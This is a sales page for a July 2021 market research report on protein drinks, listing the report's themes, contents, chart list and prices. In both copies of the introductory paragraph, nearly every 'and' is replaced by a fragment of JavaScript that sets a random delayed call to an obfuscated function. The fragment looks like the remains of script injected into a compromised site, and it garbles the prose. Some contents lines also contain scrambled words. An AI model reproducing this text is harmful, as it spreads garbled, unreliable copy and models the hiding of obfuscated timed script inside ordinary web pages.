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Protein Drinks – Life Beyond Sports Nurition

Protein shakes are moving away from the traditional sports market andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and diversifying into active lifestyle/nutrition. This has resulted in a very broad drinks landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andscape where protein is the star player. Through the use of different ingredients (protein sources, functional ingredients) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and health andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and wellness claims, protein shakes are also trying to keep on top of trends (vegan, keto). Protein is a big ‘buzz word’ when it comes to functional drinks. The result? A variety of product types andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and propositions targeted towards a range of different markets, all boasting their inclusion of protein.

This report drills down into the different product types that are now including protein, looking at claims, protein dose andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the ongoing contest between protein sources.

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What's Included

  • Report
  • Powerpoint Presentation
  • Infographic
Price options
  • July 2021 report only: £3495
  • 1 year subscription* £5250

What will you learn?

  • How are different product types including protein (Source and Dose)?
  • How are protein drinks becoming "better for you"?
  • How a consumer interest in sustainability has shifted the packaging of drinks.
Contents
The death of sports nutrition - the use of protein across needstates
Positionings targeted by protein drinks - Pie Chart
Top on pack claims for protein shakes/additional benefits - Bar Chart
A diversification in product type
Split of product types uisng protein - Pie Chart
Serving Size vs {rpteom dpse - Scatter (coloured by product type?)
Added Protein - Is it worth the price?
Nutiritonal information of protien shakes vs milk drinks
Percentage of products making a protien claim without dding protein - Pie Chart
Protein dose - how much protein is too much protein?
Protein per serving for all product types - Histogram
Protein per serving split by each product type - Histogram
The growth of plant protein
Protein sources used - Tree Map
Plant protein sources used - Tree Map
Prevalence of vegan vs animal vs blend - Pie Chart
Protein dose split by protein source - Histogram
Claims
Top Claims used by each product type - Bar Chart
Inclusion of other functional ingredients
Top "with benefits" claims used in protein drinks - Bar Chart
Top active ingredients added in protein drinks - Bar Chart
Format and packaging contribute to customer appeal.
Use of different packaging formats - Pie Chart

Example Charts

Protein Drinks – Life Beyond Sports Nurition

Protein shakes are moving away from the traditional sports market andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and diversifying into active lifestyle/nutrition. This has resulted in a very broad drinks landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andscape where protein is the star player. Through the use of different ingredients (protein sources, functional ingredients) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and health andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and wellness claims, protein shakes are also trying to keep on top of trends (vegan, keto). Protein is a big ‘buzz word’ when it comes to functional drinks. The result? A variety of product types andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and propositions targeted towards a range of different markets, all boasting their inclusion of protein.

This report drills down into the different product types that are now including protein, looking at claims, protein dose andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the ongoing contest between protein sources.

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